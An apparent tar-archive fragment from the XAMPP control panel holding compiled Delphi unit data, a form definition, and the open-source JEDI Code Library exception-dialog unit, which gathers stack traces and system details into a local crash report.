JclSysInfofTCpuInfo=-gGetWindowsVersionStringP!cgNtProductTypeStringP!cg GetCpuInfo4>gRoundFrequency3#f TFreqInfo&mf TSSESupportfaOgsse-_gsse2-_gsse3-_gssse3-_gsse41-_gsse42-_gsse4A-_gsse5-_gGetTotalPhysicalMemory˂gGetFreePhysicalMemory˂gGetBPP gLoadedModulesList:ceJclWin32fPImageNtHeaders32{jfPImageNtHeaders647 .f_IMAGE_NT_HEADERSf_IMAGE_NT_HEADERS64w:ff_IMAGE_OPTIONAL_HEADER64I@fceJclSynchfTJclCriticalSectionTEgTJclCriticalSection.Enter}!gTJclCriticalSection.Leave~!c5uExceptionDialog_c5System5Mathc5Classesc5SysUtilscc5SysInitnc5Windowsrc5Messagesc5SysUtilsc5Classesc5Graphicsc5Controlsc5Formsc5Dialogsc5StdCtrlsc5ExtCtrlsc5AppEvntsc5 JclSysUtilsc5JclUnitVersioningc5JclUnitVersioningProviders1c5JclDebug=c%UM_CREATEDETAILS-1&.TExceptionDialog#h*TExceptionDialogO*TExceptionDialogClass3Tu'ExceptionDialogClass"m7.2F5ClipBrdc5Mathc5JclBasec5 JclFileUtilsc5 JclHookExceptc5 JclPeImagec5 JclStringsc5 JclSysInfo5c5JclWin32c3 RsAppError%.d%s - application error3RsExceptionClass%.XException class: %s3RsExceptionMessage%.`Exception message: %s3RsExceptionAddr%.`Exception address: %p3 RsStackList%.lStack list, generated %s3 RsModulesList%.hList of loaded modules:3 RsOSVersion%.1System : %s %s, Version: %d.%d, Build: %x, "%s"3 RsProcessor%.pProcessor: %s, %s, %d MHz3RsMemory%.XMemory: %d; free %d3 RsScreenRes%.Display : %dx%d pixels, %d bpp3RsActiveControl%.tActive Controls hierarchy:3RsThread%.4 Thread: %s3RsMissingVersionInfo%.l(no module version info)3RsExceptionStack%.HException stack3RsMainThreadID%.XMain thread ID = %d3RsExceptionThreadID%.lException thread ID = %d3RsMainThreadCallStack%.tCall stack for main thread3RsThreadCallStack%. Call stack for thread %d %s "%s"3RsExceptionThreadCallStack%."Call stack for exception thread %s3RsErrorMessage%.There was an error during the execution of this program. The application might become unstable and even useless. It's recommended that you save your work and close this application. 3RsDetailsIntro%.Exception log with detailed tech info. Generated on %s. You may send it to the application vendor, helping him to understand what had happened. Application title: %s Application file: %s3RsUnitVersioningIntro%.|Unit versioning information: ExceptionDialogf(SortModulesListByAddressCompare!Listf6!Index1f!Index2f Resultf Addr1fv Addr2fvc(HookShowException! ExceptObjectf! ExceptAddrfcj(CheckAddressForOffsetU!Offsetf Resultfck(HookTApplicationHandleException  Resultf% CallOffset %CallOffsetDebug Q%CallOffsetWin32 %CallOffsetWin64 U TApplicationHandleExceptionAddrf SysUtilsShowExceptionAddrf CALLInstructionf CallAddressf WrittenBytesfc ExceptionShowingfj*PCALLInstruction*TCALLInstructionk(#TExceptionDialog.AfterCreateDetails'p!Selffc]($TExceptionDialog.BeforeCreateDetails(p!Selffce(!TExceptionDialog.ReportMaxColumns+p.!Selff Resultfcm(&TExceptionDialog.CopyReportToClipboard/p!Selffcy(TExceptionDialog.CreateDetails)p!Selff .f .f .f c(TExceptionDialog.CreateReport*pqG!Selff SLf6 If ModuleNamef. NtHeaders32f NtHeaders64f ModuleBasefv ImageBaseStrf CfD CpuInfof~! ProcessorDetailsf StackListfl ThreadListfn AThreadIDf( PETargetf| UnitVersioningfb UnitVersioningModulefd UnitVersionff ModuleIndexf UnitIndexf .fz .fa .f Q .f! .f  .f .f c( TExceptionDialog.DetailsBtnClickpH!Selff!Senderfc(!TExceptionDialog.ExceptionHandler0pY!Selff!Senderf!Ef0 .f"c('TExceptionDialog.ExceptionThreadHandler1pu!Selff!Threadfj Ef0 .f"c%(TExceptionDialog.FormCreatep!Selff!Senderfc9(TExceptionDialog.FormDestroyp !Selff!SenderfcE(TExceptionDialog.FormKeyDownpf!Selff!Senderf"Keyf!Shift&4cQ(TExceptionDialog.FormPaintp!Selff!Senderfce(TExceptionDialog.FormResizep0!Selff!Senderfcq(TExceptionDialog.FormShowp!Selff!Senderfc}( TExceptionDialog.GetReportAsText$p !Selff#Resultf c( TExceptionDialog.NextDetailBlock-p!Selffc(,TExceptionDialog.ReportNewBlockDelimiterChar,p.!Selff Resultfc(TExceptionDialog.SaveToLogFile#p!Selff!FileNameb. SimpleLogf`cj'DirectionCharsBk("TExceptionDialog.SetDetailsVisible%p!Selff!Valueb DetailsCaptionf c(TExceptionDialog.ShowException2p!Selff!Ef!Threadfj .f .f .fc( TExceptionDialog.UMCreateDetails&pR!Selff"Messagef,c()TExceptionDialog.UpdateTextMemoScrollbars.p!Selffc' AppEventsf\sX(InitializeHandlerc(UnInitializeHandler .fc( Finalization`p$!c(uExceptionDialog&!cDGF] 2J1y&%?,TextMemo RA ,OkBtn TQ , DetailsBtn Ta , BevelDetails Zq , DetailsMemo R! . FormPaint e% . FormCreate 9) .FormShow }- .DetailsBtnClick 1 . FormKeyDown Q5 . FormDestroy E9 . FormResize q= ,FDetailsVisibleA , FThreadID(E ,FLastActiveControlDI ,FNonDetailsHeightM , FFullHeightQ . SaveToLogFileU .GetReportAsTextY .SetDetailsVisible] .UMCreateDetailsa .AfterCreateDetails]e .BeforeCreateDetailsei . CreateDetails}m . CreateReportq .ReportMaxColumns)mu .ReportNewBlockDelimiterChar-y .NextDetailBlock} .UpdateTextMemoScrollbars .CopyReportToClipboardy .ExceptionHandler" .ExceptionThreadHandler"% . ShowException" 1DetailsVisibleA  1 ReportAsText  cGB D@DDM) Y%?,Call ,Address cEULDliXTextMemoOkBtn DetailsBtn BevelDetails DetailsMemo TextMemoOkBtn DetailsBtn BevelDetails DetailsMemoFDetailsVisible FThreadIDFLastActiveControlFNonDetailsHeight FFullHeight FormPaint FormCreateFormShowDetailsBtnClick FormKeyDown FormDestroy FormResize bbRbbb b[bBCC[CLTExceptionDialog9 FormPaintSelfSender: FormCreateSelfSender8FormShowSelfSender?DetailsBtnClickSelfSenderW FormKeyDown SelfSenderKeyShift; FormDestroySelfSender: FormResizeSelfSender5CopyReportToClipboardSelfKExceptionHandlerSelfSenderEFExceptionThreadHandlerSelfThreadH ShowExceptionSelfEThreadTExceptionDialogXnuExceptionDialogGpDetailsVisible ReportAsTextTExceptionDialogClassXUMUEUEQEUEQEE;Ev EE;Es E3EE]UUEEtE̋;EE}tM3ҡ UE]USVWE3Uhd0d E@EsUBE@E@U:BE}tdt1E@URBqqU;BE*E@U+BqqUR;BE3ZYYdEE_^[YY]UEE}}UYu4UYu$UzYuUYu3E}t9+EqqEEPUEEEE]TCALLInstructionCallAddressUQEY]UQEY]UEENEYY]U3҉UE3UhLd0d UEEPZ3ZYYdhSEYY]U3QQQQQQQQVE3Uhd0d fE3Uhkd0d EE]uuMEUEUuhuhEUEE3ҋjjhEPEf3ZYYdhrEEEE33ZYYdhEE^] yyyy-mm-dd -exception-.logUfjjIuQSE3Uhld0d Pƅ3EQ8Pƅ3EQ8EE3Uhd0d EEԃ}EQ8UEԋPUPUuuUPEƅ3ɋEEQ8jjjEEE3Eԃ}EQ8UEԋPUPUuuUPEƅ3ɋEEQ8jjjEEEEЋEЋ@3Uhd0d Eq@EEUEE̋E;EqUE3Eԃ}PPẺƅŰEƅŰEƅPZEQ8pEԋPxP||xtPtƅ3ɋpEQ8jjjEEEEMc3ZYYdhEЋ@퍅PPxx|ƅttƅƅƅƅƅ|XEQ8EPppPLƅVƅ(,P;XtƅXu Eغ t Eغ t Eغt Eغt Eغt Eغt Eغ(t EغD t Eغ`@t Eغ|t Eغ t Eغ t Eغt Eغt Eغ EU؋Q8lPhhPjhjhXƅ\jhjhPTP`ƅdXXlEQ8LPHHPƅƅƅXLEQ8E3ɋEEċEDDEQ8EERq{@EEMUES UEQE䍅@PE䉅Xƅ\E`ƅdX$@EQ8EE3E3E}u EE}u EE}t6E@4;Et+EPE@4ƅ3ɸDU}t=E3ҋM;Q4u;A0t+EPE0ƅ3ɸ`M E ME3Uh d0d u8E8h4E4< <%.16x>   -  %s%s %s %s %s%s "%s"UUEEEYY]UMUE}t}=tUc3Uhd0d EEEtU 3ɋUE3ZYYdh]UUEE@@E}t~=tUd3Uhd0d EEEtUMUE3ZYYdh]U3ɉMMMUE3Uhd0d EU3ҋEEPUEEEEPUE3ZUE3ZYYdhEE]UUEYY]UMUEEf8CuEtEj]UUEhjPE@LPj URH+qqREPYY]UUEEYY]UVUEEfj;u3jEP;ujjhEPE^YY]U3QQQQQUE3Uhd0d UEUMuhUEuE3ZYYdhEE] UjjjE3Uhyd0d E(PE,ЍEEMZUEQ83ZYYdhE]UEfE-fEYY]U3ɉMUE3Uhd0d ME3Uhd0d E(бEjUEU3ɋEE3ZYYdhE3ZYYdhE]<>U3QQQQQUE3Uh d0d EUEPUEEEU}EdqvE@xȁv3ҋE@xEM EEEU+PLqqEEUE4Eu%EPLEE@TUEEEvE@xEv3ҋE@xUEUE3ZYYdhEE]ð<<  >>UQjjIuQMSMUE3Uhd0d =u P83Uhd0d }tE@@dEtOUظEPMЋEPEЍMԲUXUءWU̸EPUEUMĸEčMȲUXU̡U]uuUEPEEEUEEEUEEEUEUQ8EPUEEEEEPUE3ZUQ8Et\EPMEPEEEEP||3ZUQ8}uSxPttPEEU3XxQ8`pPlElEEEPhh3ZpQ8 3ZYYdhE3E3ZYYdh h EEE[]ð.UVUEEEf^YY]UQSEEURlER؋EqE;~E3ҋE[Y]WgU=3ɲPL@Hff fff fP$@ t]@UQ=t3E3E3҉P P$Y]Uu]U-s]m   M15m    QEIU%-Y]aeiquyAEIM9!)159=!=A%)-m (",0. 6 *< : 4e 9"},Q$E$q"(]e. e0 &92 &}. &< &Q4  $E4 &q2 &yH "Z %fA&TA"  ,8   BF  6  =pEpMpUp]pepmpup}pppppppppppppp  E(>  ,4T444 >44868%U  D   2 44.(YYF,  .]em.y$y" y: <*Ya( B &eiDT xF(xYa <H: <00 JN8X JN8D (Q0 JD] J: NrY N]0 JD] J: NrY ae4<i@qmjuHyJ J"J] JX ZrY2 <(m J$=<A0(((@JEu JV I<" X" X" X" X" X" X" X" X" X" X" X" X" X" X" XR} J4u Z Zdy Z Z`X JYm$Yq$}<D z 9 e J>:4 D6 &p |  !$ .&,DZ2 !4XNR < J(\D4<4( !$ JXD4<4 !B!B%B)B-F 6 JTl bR < H H H H H H HHH::: < 8.QeuQ,}eu Q<%:QeuQ%,}eu % Q<969&ey,= J9H: <E QDy~e(**44}  q }*F~  N  N* (. %" DH: <@ Nh!HH <.*  :R <: <(N1:4V  YqV \"844" X@D,V ,V"B:H  (&:2(&&",0ID"T>$T>J$.!> ,&U.52T J    "V0V$ $8 |JJ \ T  * (  "("4 "("6 J" \    R2 < 4 L >$.4* J<d`P "r"(""LF"( X. (&,$I$ 4>  2$ :&*00*   .      RPz5 2y4J P RU ] T V X  Zm u } e^\  \9`^) ^}b` `dbY bQfdi dEhfM fqjh h n pA I rM  t "vzxU $x|z &z~| (|~ *~] ,e . 0m 2m 49 6 8e q  :a y <u >- % @9 ! B D F =EMU]emu}҅ԍ֕؝ڥܭ޵!% %޾-1U }}}%)-159UYYY]=AEIM!Q=Qaiqu}D]!U2%Ez%Q1m 519ހE&IM Quy}lY]"&BDLU]I:aMD1y 1MP9MNAMLM2Y]a!AYMRYMTY y9,9.9(M99999 9 99 l!AY]!]! =REްI }|}\pd2)% m u } A} "$ l)% m u }  )] u )-  YuuQm )-1A=A)Q 9m IMMUYi]iaiimv   uy  U ] = U ] e "m u         ( ! ! =- A ]M >U } 2 A   | * V  H    b)  - MX9 u  a  | 0   pF% 8] e m y  @ R R  B% B9 8E Q e q }   (   R ( aR       axampp-control-panel/uExceptionDialog.dfm000066600000004120151723641500014404 0ustar00object ExceptionDialog: TExceptionDialog Left = 310 Top = 255 AutoScroll = False BorderIcons = [biSystemMenu] Caption = 'ExceptionDialog' ClientHeight = 283 ClientWidth = 483 Color = clBtnFace Constraints.MinWidth = 200 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] KeyPreview = True OldCreateOrder = False Position = poScreenCenter ShowHint = True OnCreate = FormCreate OnDestroy = FormDestroy OnKeyDown = FormKeyDown OnPaint = FormPaint OnResize = FormResize OnShow = FormShow PixelsPerInch = 96 TextHeight = 13 object BevelDetails: TBevel Left = 3 Top = 119 Width = 473 Height = 9 Anchors = [akLeft, akTop, akRight] Shape = bsTopLine end object TextMemo: TMemo Left = 56 Top = 8 Width = 332 Height = 105 Hint = 'Use Ctrl+C to copy the report to the clipboard' Anchors = [akLeft, akTop, akRight] BorderStyle = bsNone Ctl3D = True ParentColor = True ParentCtl3D = False ReadOnly = True TabOrder = 1 WantReturns = False end object OkBtn: TButton Left = 403 Top = 4 Width = 75 Height = 25 Anchors = [akTop, akRight] Caption = '&OK' Default = True ModalResult = 1 TabOrder = 2 end object DetailsBtn: TButton Left = 403 Top = 88 Width = 75 Height = 25 Hint = 'Show or hide additional information|' Anchors = [akTop, akRight] Caption = '&Details' Enabled = False TabOrder = 3 OnClick = DetailsBtnClick end object DetailsMemo: TMemo Left = 4 Top = 129 Width = 472 Height = 147 Anchors = [akLeft, akTop, akRight, akBottom] Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Courier New' Font.Style = [] ParentColor = True ParentFont = False ReadOnly = True ScrollBars = ssBoth TabOrder = 4 WantReturns = False WordWrap = False end end xampp-control-panel/uExceptionDialog.pas000066600000066576151723641500014450 0ustar00{**************************************************************************************************} { } { Project JEDI Code Library (JCL) } { } { The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); } { you may not use this file except in compliance with the License. You may obtain a copy of the } { License at http://www.mozilla.org/MPL/ } { } { Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF } { ANY KIND, either express or implied. See the License for the specific language governing rights } { and limitations under the License. } { } { The Original Code is ExceptDlg.pas. } { } { The Initial Developer of the Original Code is Petr Vones. } { Portions created by Petr Vones are Copyright (C) of Petr Vones. } { } {**************************************************************************************************} { } { Last modified: $Date:: 2011-12-29 01:21:39 +0100 (Thu, 29 Dec 2011) $ } { Revision: $Rev:: 3660 $ } { Author: $Author:: outchy $ } { } {**************************************************************************************************} unit uExceptionDialog; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, AppEvnts, JclSysUtils, JclUnitVersioning, JclUnitVersioningProviders, JclDebug; const UM_CREATEDETAILS = WM_USER + $100; type TExceptionDialog = class(TForm) TextMemo: TMemo; OkBtn: TButton; DetailsBtn: TButton; BevelDetails: TBevel; DetailsMemo: TMemo; procedure FormPaint(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormShow(Sender: TObject); procedure DetailsBtnClick(Sender: TObject); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormDestroy(Sender: TObject); procedure FormResize(Sender: TObject); private private FDetailsVisible: Boolean; FThreadID: DWORD; FLastActiveControl: TWinControl; FNonDetailsHeight: Integer; FFullHeight: Integer; procedure SaveToLogFile(const FileName: TFileName); function GetReportAsText: string; procedure SetDetailsVisible(const Value: Boolean); procedure UMCreateDetails(var Message: TMessage); message UM_CREATEDETAILS; protected procedure AfterCreateDetails; dynamic; procedure BeforeCreateDetails; dynamic; procedure CreateDetails; dynamic; procedure CreateReport; function ReportMaxColumns: Integer; virtual; function ReportNewBlockDelimiterChar: Char; virtual; procedure NextDetailBlock; procedure UpdateTextMemoScrollbars; public procedure CopyReportToClipboard; class procedure ExceptionHandler(Sender: TObject; E: Exception); class procedure ExceptionThreadHandler(Thread: TJclDebugThread); class procedure ShowException(E: TObject; Thread: TJclDebugThread); property DetailsVisible: Boolean read FDetailsVisible write SetDetailsVisible; property ReportAsText: string read GetReportAsText; end; TExceptionDialogClass = class of TExceptionDialog; var ExceptionDialogClass: TExceptionDialogClass = TExceptionDialog; implementation {$R *.dfm} uses ClipBrd, Math, JclBase, JclFileUtils, JclHookExcept, JclPeImage, JclStrings, JclSysInfo, JclWin32; resourcestring RsAppError = '%s - application error'; RsExceptionClass = 'Exception class: %s'; RsExceptionMessage = 'Exception message: %s'; RsExceptionAddr = 'Exception address: %p'; RsStackList = 'Stack list, generated %s'; RsModulesList = 'List of loaded modules:'; RsOSVersion = 'System : %s %s, Version: %d.%d, Build: %x, "%s"'; RsProcessor = 'Processor: %s, %s, %d MHz'; RsMemory = 'Memory: %d; free %d'; RsScreenRes = 'Display : %dx%d pixels, %d bpp'; RsActiveControl = 'Active Controls hierarchy:'; RsThread = 'Thread: %s'; RsMissingVersionInfo = '(no module version info)'; RsExceptionStack = 'Exception stack'; RsMainThreadID = 'Main thread ID = %d'; RsExceptionThreadID = 'Exception thread ID = %d'; RsMainThreadCallStack = 'Call stack for main thread'; RsThreadCallStack = 'Call stack for thread %d %s "%s"'; RsExceptionThreadCallStack = 'Call stack for exception thread %s'; RsErrorMessage = 'There was an error during the execution of this program.' + NativeLineBreak + 'The application might become unstable and even useless.' + NativeLineBreak + 'It''s recommended that you save your work and close this application.' + NativeLineBreak + NativeLineBreak; RsDetailsIntro = 'Exception log with detailed tech info. Generated on %s.' + NativeLineBreak + 'You may send it to the application vendor, helping him to understand what had happened.' + NativeLineBreak + ' Application title: %s' + NativeLineBreak + ' Application file: %s'; RsUnitVersioningIntro = 'Unit versioning information:'; var ExceptionDialog: TExceptionDialog; //============================================================================ // Helper routines //============================================================================ // SortModulesListByAddressCompare // sorts module by address function SortModulesListByAddressCompare(List: TStringList; Index1, Index2: Integer): Integer; var Addr1, Addr2: TJclAddr; begin Addr1 := TJclAddr(List.Objects[Index1]); Addr2 := TJclAddr(List.Objects[Index2]); if Addr1 > Addr2 then Result := 1 else if Addr1 < Addr2 then Result := -1 else Result := 0; end; //============================================================================ // TApplication.HandleException method code hooking for exceptions from DLLs //============================================================================ // We need to catch the last line of TApplication.HandleException method: // [...] // end else // SysUtils.ShowException(ExceptObject, ExceptAddr); // end; procedure HookShowException(ExceptObject: TObject; ExceptAddr: Pointer); begin if JclValidateModuleAddress(ExceptAddr) and (ExceptObject.InstanceSize >= Exception.InstanceSize) then TExceptionDialog.ExceptionHandler(nil, Exception(ExceptObject)) else SysUtils.ShowException(ExceptObject, ExceptAddr); end; //---------------------------------------------------------------------------- function HookTApplicationHandleException: Boolean; const CallOffset = $86; // Until D2007 CallOffsetDebug = $94; // Until D2007 CallOffsetWin32 = $7A; // D2009 and newer CallOffsetWin64 = $95; // DXE2 for Win64 type PCALLInstruction = ^TCALLInstruction; TCALLInstruction = packed record Call: Byte; Address: Integer; end; var TApplicationHandleExceptionAddr, SysUtilsShowExceptionAddr: Pointer; CALLInstruction: TCALLInstruction; CallAddress: Pointer; WrittenBytes: Cardinal; function CheckAddressForOffset(Offset: Cardinal): Boolean; begin try CallAddress := Pointer(TJclAddr(TApplicationHandleExceptionAddr) + Offset); CALLInstruction.Call := $E8; Result := PCALLInstruction(CallAddress)^.Call = CALLInstruction.Call; if Result then begin if IsCompiledWithPackages then Result := PeMapImgResolvePackageThunk(Pointer(SizeInt(CallAddress) + Integer(PCALLInstruction(CallAddress)^.Address) + SizeOf(CALLInstruction))) = SysUtilsShowExceptionAddr else Result := PCALLInstruction(CallAddress)^.Address = SizeInt(SysUtilsShowExceptionAddr) - SizeInt(CallAddress) - SizeOf(CALLInstruction); end; except Result := False; end; end; begin TApplicationHandleExceptionAddr := PeMapImgResolvePackageThunk(@TApplication.HandleException); SysUtilsShowExceptionAddr := PeMapImgResolvePackageThunk(@SysUtils.ShowException); if Assigned(TApplicationHandleExceptionAddr) and Assigned(SysUtilsShowExceptionAddr) then begin Result := CheckAddressForOffset(CallOffset) or CheckAddressForOffset(CallOffsetDebug) or CheckAddressForOffset(CallOffsetWin32) or CheckAddressForOffset(CallOffsetWin64); if Result then begin CALLInstruction.Address := SizeInt(@HookShowException) - SizeInt(CallAddress) - SizeOf(CALLInstruction); Result := WriteProtectedMemory(CallAddress, @CallInstruction, SizeOf(CallInstruction), WrittenBytes); end; end else Result := False; end; //============================================================================ // Exception dialog //============================================================================ var ExceptionShowing: Boolean; //=== { TExceptionDialog } =============================================== procedure TExceptionDialog.AfterCreateDetails; begin end; //---------------------------------------------------------------------------- procedure TExceptionDialog.BeforeCreateDetails; begin end; //---------------------------------------------------------------------------- function TExceptionDialog.ReportMaxColumns: Integer; begin Result := 78; end; //---------------------------------------------------------------------------- procedure TExceptionDialog.CopyReportToClipboard; begin ClipBoard.AsText := ReportAsText; end; //---------------------------------------------------------------------------- procedure TExceptionDialog.CreateDetails; begin Screen.Cursor := crHourGlass; DetailsMemo.Lines.BeginUpdate; try CreateReport; SaveToLogFile(ExtractFileName(Application.ExeName) + '-exception-' + FormatDateTime('yyyy-mm-dd', Date) + '.log'); DetailsMemo.SelStart := 0; SendMessage(DetailsMemo.Handle, EM_SCROLLCARET, 0, 0); AfterCreateDetails; finally DetailsMemo.Lines.EndUpdate; OkBtn.Enabled := True; DetailsBtn.Enabled := True; OkBtn.SetFocus; Screen.Cursor := crDefault; end; end; //---------------------------------------------------------------------------- procedure TExceptionDialog.CreateReport; var SL: TStringList; I: Integer; ModuleName: TFileName; NtHeaders32: PImageNtHeaders32; NtHeaders64: PImageNtHeaders64; ModuleBase: TJclAddr; ImageBaseStr: string; C: TWinControl; CpuInfo: TCpuInfo; ProcessorDetails: string; StackList: TJclStackInfoList; ThreadList: TJclDebugThreadList; AThreadID: DWORD; PETarget: TJclPeTarget; UnitVersioning: TUnitVersioning; UnitVersioningModule: TUnitVersioningModule; UnitVersion: TUnitVersion; ModuleIndex, UnitIndex: Integer; begin DetailsMemo.Lines.Add(Format(LoadResString(PResStringRec(@RsMainThreadID)), [MainThreadID])); DetailsMemo.Lines.Add(Format(LoadResString(PResStringRec(@RsExceptionThreadID)), [MainThreadID])); NextDetailBlock; SL := TStringList.Create; try // Except stack list StackList := JclGetExceptStackList(FThreadID); if Assigned(StackList) then begin DetailsMemo.Lines.Add(RsExceptionStack); DetailsMemo.Lines.Add(Format(LoadResString(PResStringRec(@RsStackList)), [DateTimeToStr(StackList.TimeStamp)])); StackList.AddToStrings(DetailsMemo.Lines, True, True, True, True); NextDetailBlock; end; // Main thread StackList := JclCreateThreadStackTraceFromID(False, MainThreadID); if Assigned(StackList) then begin DetailsMemo.Lines.Add(LoadResString(PResStringRec(@RsMainThreadCallStack))); DetailsMemo.Lines.Add(Format(LoadResString(PResStringRec(@RsStackList)), [DateTimeToStr(StackList.TimeStamp)])); StackList.AddToStrings(DetailsMemo.Lines, True, True, True, True); NextDetailBlock; end; // All threads ThreadList := JclDebugThreadList; ThreadList.Lock.Enter; // avoid modifications try for I := 0 to ThreadList.ThreadIDCount - 1 do begin AThreadID := ThreadList.ThreadIDs[I]; if (AThreadID <> FThreadID) then begin StackList := JclCreateThreadStackTrace(False, ThreadList.ThreadHandles[I]); if Assigned(StackList) then begin DetailsMemo.Lines.Add(Format(RsThreadCallStack, [AThreadID, ThreadList.ThreadInfos[AThreadID], ThreadList.ThreadNames[AThreadID]])); DetailsMemo.Lines.Add(Format(LoadResString(PResStringRec(@RsStackList)), [DateTimeToStr(StackList.TimeStamp)])); StackList.AddToStrings(DetailsMemo.Lines, True, True, True, True); NextDetailBlock; end; end; end; finally ThreadList.Lock.Leave; end; // System and OS information DetailsMemo.Lines.Add(Format(RsOSVersion, [GetWindowsVersionString, NtProductTypeString, Win32MajorVersion, Win32MinorVersion, Win32BuildNumber, Win32CSDVersion])); GetCpuInfo(CpuInfo); ProcessorDetails := Format(RsProcessor, [CpuInfo.Manufacturer, CpuInfo.CpuName, RoundFrequency(CpuInfo.FrequencyInfo.NormFreq)]); if not CpuInfo.IsFDIVOK then ProcessorDetails := ProcessorDetails + ' [FDIV Bug]'; if CpuInfo.ExMMX then ProcessorDetails := ProcessorDetails + ' MMXex'; if CpuInfo.MMX then ProcessorDetails := ProcessorDetails + ' MMX'; if sse in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE'; if sse2 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE2'; if sse3 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE3'; if ssse3 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSSE3'; if sse41 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE41'; if sse42 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE42'; if sse4A in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE4A'; if sse5 in CpuInfo.SSE then ProcessorDetails := ProcessorDetails + ' SSE5'; if CpuInfo.Ex3DNow then ProcessorDetails := ProcessorDetails + ' 3DNow!ex'; if CpuInfo._3DNow then ProcessorDetails := ProcessorDetails + ' 3DNow!'; if CpuInfo.Is64Bits then ProcessorDetails := ProcessorDetails + ' 64 bits'; if CpuInfo.DEPCapable then ProcessorDetails := ProcessorDetails + ' DEP'; DetailsMemo.Lines.Add(ProcessorDetails); DetailsMemo.Lines.Add(Format(RsMemory, [GetTotalPhysicalMemory div 1024 div 1024, GetFreePhysicalMemory div 1024 div 1024])); DetailsMemo.Lines.Add(Format(RsScreenRes, [Screen.Width, Screen.Height, GetBPP])); NextDetailBlock; // Modules list if LoadedModulesList(SL, GetCurrentProcessId) then begin UnitVersioning := GetUnitVersioning; UnitVersioning.RegisterProvider(TJclDefaultUnitVersioningProvider); DetailsMemo.Lines.Add(RsModulesList); SL.CustomSort(SortModulesListByAddressCompare); for I := 0 to SL.Count - 1 do begin ModuleName := SL[I]; ModuleBase := TJclAddr(SL.Objects[I]); DetailsMemo.Lines.Add(Format('[' + HexDigitFmt + '] %s', [ModuleBase, ModuleName])); PETarget := PeMapImgTarget(Pointer(ModuleBase)); NtHeaders32 := nil; NtHeaders64 := nil; if PETarget = taWin32 then NtHeaders32 := PeMapImgNtHeaders32(Pointer(ModuleBase)) else if PETarget = taWin64 then NtHeaders64 := PeMapImgNtHeaders64(Pointer(ModuleBase)); if (NtHeaders32 <> nil) and (NtHeaders32^.OptionalHeader.ImageBase <> ModuleBase) then ImageBaseStr := Format('<' + HexDigitFmt32 + '> ', [NtHeaders32^.OptionalHeader.ImageBase]) else if (NtHeaders64 <> nil) and (NtHeaders64^.OptionalHeader.ImageBase <> ModuleBase) then ImageBaseStr := Format('<' + HexDigitFmt64 + '> ', [NtHeaders64^.OptionalHeader.ImageBase]) else ImageBaseStr := StrRepeat(' ', 11); if VersionResourceAvailable(ModuleName) then with TJclFileVersionInfo.Create(ModuleName) do try DetailsMemo.Lines.Add(ImageBaseStr + BinFileVersion + ' - ' + FileVersion); if FileDescription <> '' then DetailsMemo.Lines.Add(StrRepeat(' ', 11) + FileDescription); finally Free; end else DetailsMemo.Lines.Add(ImageBaseStr + RsMissingVersionInfo); for ModuleIndex := 0 to UnitVersioning.ModuleCount - 1 do begin UnitVersioningModule := UnitVersioning.Modules[ModuleIndex]; if UnitVersioningModule.Instance = ModuleBase then begin if UnitVersioningModule.Count > 0 then DetailsMemo.Lines.Add(StrRepeat(' ', 11) + LoadResString(PResStringRec(@RsUnitVersioningIntro))); for UnitIndex := 0 to UnitVersioningModule.Count - 1 do begin UnitVersion := UnitVersioningModule.Items[UnitIndex]; DetailsMemo.Lines.Add(Format('%s%s %s %s %s', [StrRepeat(' ', 13), UnitVersion.LogPath, UnitVersion.RCSfile, UnitVersion.Revision, UnitVersion.Date])); end; end; end; end; NextDetailBlock; end; // Active controls if (FLastActiveControl <> nil) then begin DetailsMemo.Lines.Add(RsActiveControl); C := FLastActiveControl; while C <> nil do begin DetailsMemo.Lines.Add(Format('%s "%s"', [C.ClassName, C.Name])); C := C.Parent; end; NextDetailBlock; end; finally SL.Free; end; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.DetailsBtnClick(Sender: TObject); begin DetailsVisible := not DetailsVisible; end; //-------------------------------------------------------------------------------------------------- class procedure TExceptionDialog.ExceptionHandler(Sender: TObject; E: Exception); begin if Assigned(E) then if ExceptionShowing then Application.ShowException(E) else begin ExceptionShowing := True; try if IsIgnoredException(E.ClassType) then Application.ShowException(E) else ShowException(E, nil); finally ExceptionShowing := False; end; end; end; //-------------------------------------------------------------------------------------------------- class procedure TExceptionDialog.ExceptionThreadHandler(Thread: TJclDebugThread); var E: Exception; begin E := Exception(Thread.SyncException); if Assigned(E) then if ExceptionShowing then Application.ShowException(E) else begin ExceptionShowing := True; try if IsIgnoredException(E.ClassType) then Application.ShowException(E) else ShowException(E, Thread); finally ExceptionShowing := False; end; end; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormCreate(Sender: TObject); begin FFullHeight := ClientHeight; DetailsVisible := False; Caption := Format(RsAppError, [Application.Title]); end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormDestroy(Sender: TObject); begin end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Key = Ord('C')) and (ssCtrl in Shift) then begin CopyReportToClipboard; MessageBeep(MB_OK); end; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormPaint(Sender: TObject); begin DrawIcon(Canvas.Handle, TextMemo.Left - GetSystemMetrics(SM_CXICON) - 15, TextMemo.Top, LoadIcon(0, IDI_ERROR)); end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormResize(Sender: TObject); begin UpdateTextMemoScrollbars; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.FormShow(Sender: TObject); begin BeforeCreateDetails; MessageBeep(MB_ICONERROR); if (GetCurrentThreadId = MainThreadID) and 